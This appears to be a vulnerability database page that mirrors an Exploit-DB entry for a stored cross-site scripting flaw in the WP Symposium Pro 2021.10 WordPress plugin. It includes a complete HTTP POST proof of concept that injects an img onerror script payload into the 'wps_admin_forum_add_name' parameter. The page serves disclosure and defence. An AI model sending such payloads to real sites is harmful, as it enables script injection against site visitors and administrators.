WordPress Plugin WP Symposium Pro 2021.10 - 'wps_admin_forum_add_name' Stored Cross-Site Scripting (XSS)

vendor:

WP Symposium Pro

by:

Murat DEMIRCI

8.8

CVSS

HIGH

Stored Cross-Site Scripting (XSS)

CWE

Product Name: WP Symposium Pro

Affected Version From: 2021.1

Affected Version To: 2021.1

Patch Exists: YES

Related CWE:

CPE: a:wpsymposiumpro:wp_symposium_pro

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2021

WordPress Plugin WP Symposium Pro 2021.10 – ‘wps_admin_forum_add_name’ Stored Cross-Site Scripting (XSS)

WP Symposium Pro version 2021.10 plugin was exposed to stored cross site scripting vulnerability due to lack of sanitizing adding forum speciality and its 'name' label. An attacker can exploit this vulnerability by sending a malicious payload to the vulnerable parameter 'wps_admin_forum_add_name' in a POST request.

Mitigation:

Input validation should be done to sanitize user input before storing it in the database.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin WP Symposium Pro 2021.10 - 'wps_admin_forum_add_name' Stored Cross-Site Scripting (XSS)
# Date: 11/11/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: http://www.wpsymposiumpro.com/
# Software Link: https://wordpress.org/plugins/wp-symposium-pro/
# Version: 2021.10
# Tested on : Windows 10
#Description: WP Symposium Pro version 2021.10 plugin was exposed to stored cross site scripting vulnerability due to lack of sanitizing adding forum speciality and its "name" label. 

#Poc:

POST /wordpress/wp-admin/admin.php?page=wps_pro_setup HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/admin.php?page=wps_pro_setup
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Origin: http://localhost
Connection: close
Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636828443%7CvIYW2N7MvOinijMOx1nLkLNysDvFz33pkuJcGyuQq56%7Ca0ec8384ede32940d2b69f1082cc013aecf3e887a70485cb38229a405be8a12d; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=1636654062; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636828443%7CvIYW2N7MvOinijMOx1nLkLNysDvFz33pkuJcGyuQq56%7Cd9daf69cf25e68a3ed54d94c4baa78d20f9772e986211e25656dd832aac6e544
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

wpspro_quick_start=forum&wps_admin_forum_add_name=%3Cimg+src%3Dx+onerror%3Dconfirm%281%29%3E&wps_admin_forum_add_description=test


----------------------------------------------------------------------------------



## After adding new forum, click created forum and pop-up will be on the screen.